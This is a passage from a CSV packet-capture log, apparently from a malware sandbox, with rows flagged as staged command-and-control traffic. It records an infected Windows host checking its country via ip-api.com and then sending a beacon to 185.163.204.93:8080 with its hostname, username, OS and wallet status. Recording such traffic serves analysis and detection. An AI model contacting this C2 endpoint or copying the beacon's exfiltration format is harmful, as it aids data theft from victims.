IP > TCP,3,TCP A Seq=527920814 Ack=3346682332,5254007bb792525400577f94080045000028000040004006bf1ed05f7001c0a87aa80050c3f21f776eaec77a51dc50100053c8100000,RT.{..RT.W....E..(..@.@...._p...z..P...wn..zQ.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48926, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50162, \"\"seq\"\": 527920814, \"\"ack\"\": 3346682332, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 51216, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.429139,154,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=3658458143 Ack=0,525400577f945254007bb79208004500003406ef400080067823c0a87aa8d05f7001c4010050da0fa41f000000008002faf07bd80000020405b40103030801010402,RT.W..RT.{....E..4..@...x#..z.._p....P............{...............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1775, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30755, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458143, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:33:04.429178,155,TCP 208.95.112.1:80 -> 192.168.122.168:50177,208.95.112.1,192.168.122.168,80,50177,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2184589067 Ack=3658458144,5254007bb792525400577f94080045000034000040004006bf12d05f7001c0a87aa80050c40182362f0bda0fa4208012a5647bd80000020405b40101040201030309,RT.{..RT.W....E..4..@.@...._p...z..P...6/.... ...d{..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48914, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50177, \"\"seq\"\": 2184589067, \"\"ack\"\": 3658458144, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:33:04.429258,156,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3658458144 Ack=2184589068,525400577f945254007bb79208004500002806f040008006782ec0a87aa8d05f7001c4010050da0fa42082362f0c501020147bcc0000,RT.W..RT.{....E..(..@...x...z.._p....P... .6/.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1776, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30766, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458144, \"\"ack\"\": 2184589068, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.429573,157,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/json/?fields=countryCode,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /json/?fields=countryCode,525400577f945254007bb79208004500007d06f14000800677d8c0a87aa8d05f7001c4010050da0fa42082362f0c501820147c210000474554202f6a736f6e2f3f6669656c64733d636f756e747279436f646520485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a486f73743a2069702d6170692e636f6d0d0a0d0a,\"RT.W..RT.{....E..}..@...w...z.._p....P... .6/.P. .|!..GET /json/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\n\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 125, \"\"id\"\": 1777, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30680, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458144, \"\"ack\"\": 2184589068, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/json/?fields=countryCode\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/5.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-29 14:33:04.429588,158,TCP 208.95.112.1:80 -> 192.168.122.168:50177,208.95.112.1,192.168.122.168,80,50177,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2184589068 Ack=3658458229,5254007bb792525400577f94080045000028e67040004006d8add05f7001c0a87aa80050c40182362f0cda0fa475501000537bcc0000,RT.{..RT.W....E..(.p@.@...._p...z..P...6/....uP..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 58992, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55469, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50177, \"\"seq\"\": 2184589068, \"\"ack\"\": 3658458229, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.870210,159,TCP 208.95.112.1:80 -> 192.168.122.168:50177,208.95.112.1,192.168.122.168,80,50177,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f940800450000ece67140004006d7e8d05f7001c0a87aa80050c40182362f0cda0fa475501800537c900000485454502f312e3120323030204f4b0d0a446174653a205765642c2032392041707220323032362031343a33333a303420474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a2032300d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a2033300d0a582d526c3a2034320d0a0d0a7b22636f756e747279436f6465223a224e4c227d,\"{\"\"countryCode\"\":\"\"NL\"\"}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 236, \"\"id\"\": 58993, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55272, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50177, \"\"seq\"\": 2184589068, \"\"ack\"\": 3658458229, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31888, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"20\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/json; charset=utf-8\"\", \"\"Date\"\": \"\"Wed, 29 Apr 2026 14:33:04 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'30', b'X-Rl': b'42'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"countryCode\\\"\":\\\"\"NL\\\"\"}\"\"}}]\"\n2026-04-29 14:33:04.872247,160,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=275940485 Ack=1516837734,525400577f945254007bb79208004500002c964440008006a335c0a87aa8b9a3cc5dc4001f90107284855a691b6650188000c17000009f000000,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38468, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41781, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940485, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f000000\"\"}}]\"\n2026-04-29 14:33:04.872277,161,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940489,5254007bb792525400577f94080045000028587240004006210cb9a3cc5dc0a87aa81f90c4005a691b661072848950100053c16c0000,RT.{..RT.W....E..(Xr@.@.!....]..z.....Zi.f.r..P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22642, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8460, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940489, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.872368,162,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=275940489 Ack=1516837734,525400577f945254007bb7920800450000c7964540008006a299c0a87aa8b9a3cc5dc4001f90107284895a691b6650188000c20b00007b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d,\"{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 199, \"\"id\"\": 38469, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41625, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940489, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"type\\\"\":\\\"\"info\\\"\",\\\"\"data\\\"\":{\\\"\"hostname\\\"\":\\\"\"DESKTOP-JLCUPK0\\\"\",\\\"\"username\\\"\":\\\"\"0xKal\\\"\",\\\"\"os\\\"\":\\\"\"Microsoft Windows 10 Pro 10.0.19044\\\"\",\\\"\"country\\\"\":\\\"\"NL\\\"\",\\\"\"monitors\\\"\":1,\\\"\"wallets\\\"\":false}}\"\"}}]\"\n2026-04-29 14:33:04.872375,163,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f94080045000028587340004006210bb9a3cc5dc0a87aa81f90c4005a691b661072852850100053c16c0000,RT.{..RT.W....E..(Xs@.@.!....]..z.....Zi.f.r.(P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22643, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8459, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:04.920066,164,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3658458229 Ack=2184589264,525400577f945254007bb79208004500002806f240008006782cc0a87aa8d05f7001c4010050da0fa47582362fd0501020137bcc0000,\"RT.W..RT.{....E..(..@...x,..z.._p....P...u.6/.P. .{...\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1778, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30764, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458229, \"\"ack\"\": 2184589264, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:14.880125,165,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964640008006a336c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38470, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41782, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:33:14.880161,166,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458744000400620feb9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xt@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22644, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, 